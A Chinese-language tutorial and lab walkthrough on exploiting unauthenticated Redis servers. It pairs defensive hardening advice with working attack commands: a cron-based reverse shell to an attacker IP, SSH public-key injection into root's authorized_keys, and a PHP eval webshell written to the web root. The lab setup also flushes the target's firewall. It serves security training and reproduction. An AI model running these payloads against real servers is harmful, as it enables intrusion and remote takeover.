Redis未授权访问
一,Redis未授权访问
Redis默认配置存在以下安全隐患,导致未授权访问漏洞:
- 无认证机制:默认未启用密码认证(requirepass为空),允许任意用户连接。
- 网络暴露:默认绑定所有接口(0.0.0.0,部分版本可能绑定127.0.0.1),若配置不当,服务会暴露在外网。
- 高权限操作:攻击者可利用Redis的持久化命令(如SAVE、CONFIG)修改文件路径,写入恶意文件(如SSH公钥、计划任务),甚至执行系统命令。
- 功能滥用:通过主从复制、模块加载等机制,加载恶意代码或篡改数据。
- SSH公钥注入
redis-cli -h <目标IP>
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET x "\nssh-rsa AAAAB3NzaC1yc2E..."
SAVE- 写入公钥后,攻击者可通过SSH无密码登录。
- 计划任务反弹Shell
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename shell
SET x "\n* * * * * root bash -c 'exec bash -i &>/dev/tcp/<IP>/<PORT> <&1'\n"
SAVE- 创建定时任务执行反向Shell(需Redis用户有/etc/cron.d/写入权限)。
- 主从复制攻击
- 攻击者搭建恶意Redis主节点,诱导目标Redis作为从节点同步数据。
- 传输恶意模块(如.so文件),通过MODULE LOAD加载后执行系统命令。
- Webshell写入
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php @eval($_POST['cmd']);?>"
SAVE- 写入PHP Webshell至Web目录(需路径可写且Web服务器解析PHP)。
- 直接命令执行
- 若Redis启用Lua沙盒逃逸漏洞(CVE-2022-0543)或配置不当,通过EVAL执行系统命令。
防御建议
- 网络层
- 限制Redis仅监听内网(bind 127.0.0.1),通过防火墙限制访问IP。
- 认证配置
- 启用强密码(requirepass),禁用高危命令(CONFIG、MODULE)。
- 权限控制
- 以低权限用户运行Redis,限制文件写入能力。
- 更新与加固
- 升级至最新版本,启用保护模式(protected-mode yes),定期审计配置。
二,靶场环境搭建
1.redis服务端安装
服务端靶机:centos7
下载redis压缩包
解压我们下载的压缩包
tar -zxvf redis-4.0.10.tar.gz
然后进入redis的src目录下
cd redis-4.0.10/src
然后进行编译安装
make
make install
修改配置文件
vim打开redis.conf文件,然后找到daemonize 值改为yes(后台启动,不然窗口一关服务就挂了)
bind 127.0.0.1注释掉,否则只允许本地访问
requirepass yourpassword可以设置密码(这个实验就先不设置了)
protected-mode no
启动redis服务:需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录,根据自己当前所在目录进行调用
cd /root/redis-4.0.10/src/
./redis-server ../redis.conf
可以看到服务成功启动 netstat -an |grep 6379
2,安装Redis客户端
攻击机:kali
wget
tar -zxf redis-7.0.0.tar.gz
cd redis-7.0.0
make
cp src/redis-cli /usr/bin
// 测试连接
redis-cli -h your_host -p 6379 -a "pass" --raw
注:测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了
iptables -L -nv
iptables -F
三,redis漏洞利用复现
3.1,利用计划任务反弹shell
1,kali 监听端口,接收来自靶机的shell
nc -lvvp 4444
2,远程连接Redis服务器并写入反弹Payload
// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.23.182/4444 0>&1\n\n"
(1) 换行符 \n
- 作用:确保任务独立成行,避免与文件原有内容冲突。
- 示例:
若目标文件已有内容,\n保证新任务从新行开始写入,符合cron任务格式要求。
(2) cron时间表达式 * * * * *
- 含义:每分钟执行一次任务。
- 格式:分 时 日 月 周,全*表示不限制条件。
(3) 用户字段 root
- 作用:以root权限执行任务。
- 条件:
- Redis进程需有权限写入/etc/cron.d/目录。
- /etc/cron.d/下的任务文件需包含用户字段(与用户级crontab不同)。
(4) 反向Shell命令
bash -c 'exec bash -i &>/dev/tcp/<IP>/<PORT> <&1'
- 分解:
- bash -c:执行后续字符串中的命令。
- exec bash -i:启动交互式Shell(-i表示交互模式)。
- &>/dev/tcp/<IP>/<PORT>:将标准输出(stdout)和错误(stderr)重定向到TCP连接。
- <&1:将标准输入(stdin)重定向到标准输出,实现双向通信。
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了
3.2 利用写入公钥登录ssh
1,kali 生成公私钥
// 生成公私钥
ssh-keygen -t rsa
// 防止乱码,导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
// 导入内容
cat key.txt| redis-cli -h 192.168.23.157 -x set putsshkey
2,远程连接Redis服务器并写入公钥
这个注意如果centos7没有.ssh,创建一个就行
// 设置路径
config set dir /root/.ssh
// 设置文件名
config set dbfilename authorized_keys
// 保存key值到root文件中
save
3,kali 远程登录目标系统
ssh -i /root/.ssh/id_rsa root@192.168.23.157
3.3,通过redis实现Webshell写入
1,写入PHP Webshell至Web目录(需路径可写且Web服务器解析PHP)。
redis-cli -h 192.168.23.157 -p 6379 --raw
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php @eval($_POST['cmd']);?>"
SAVE
2,然后再使用蚁剑进行连接,需要靶场开放80端口